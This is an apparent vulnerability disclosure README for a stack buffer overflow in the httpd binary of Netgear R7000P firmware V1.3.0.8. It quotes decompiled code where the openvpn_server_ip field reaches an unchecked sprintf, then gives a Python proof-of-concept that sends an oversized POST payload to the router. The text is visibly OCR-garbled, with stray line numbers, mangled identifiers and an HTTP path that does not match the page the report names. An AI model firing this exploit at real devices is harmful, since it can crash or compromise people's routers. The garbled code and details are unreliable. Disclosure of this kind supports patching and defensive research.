

adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

- 1. product information: https://www.netgear.com
- 2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip

Affected version

V1.3.0.8

Vulnerability

The stack overfow vulnerability is in /usr/sbin/httpd. The vulnerability occurrs in the sub_3C5AC function, which can be accessed via the URL http://routerlogin.net/OPENVPN.htm.

```
48 sub_1A54C(a1, "openvpn_protocol", v37, 8);
49 sub_1A54C(a1, "openvpn_service_port", v36, 8);
50 sub_1A54C(a1, "openvpn_br_ip_start", v31, 16);
51 sub_1A54C(a1, "openvpn_br_ip_end", v30, 16);
52 sub_1A54C(a1, "openvpn_server_ip", v29, 16);
```

```
strcpy(dest, "dh /tmp/openvpn/dh1.pem");
fprintf(v22, "%s\n", dest);
strcpy(dest, "ca /tmp/openvpn/ca1.crt");
fprintf(v22, "%s\n", dest);
strcpy(dest, "cert /tmp/openvpn/server1.crt");
fprintf(v22, "%s\n", dest);
strcpy(dest, "key /tmp/openvpn/server1.key");
fprintf(v22, "%s\n", dest);
if (!strcmn(v38 "tum"))
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 • 189
  9 190
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                     if (!strcmp(v38, "tun"))
     192
 • 193
                        strcpy(dest, "dev tun");
fprintf(v22, "%s\n", dest);
  194
  0 195
                        sprintf(dest, "server %s 255.255.255.0", v29); VUIN
     196
     197
                     else
     198
                    {
  250
                 else
  251
252
                     acosNvramConfig_set((int)"openvpnRedirect", (int)"disable");
                     sprintf(dest, "push \"route %s 255.255.255.0\"", 929); VUIN
253
  254
                  fprintf(v22, "%s\n", dest);
 255
256
                 fclose(v22);
```

In this function, openvpn_server_ip is controllable and will be passed into the v29 variable and v29 will be passed into stack dest by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'openvpn_server_ip=' + p1 # payload
p3 = b"POST /WLG wireless dual band r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```



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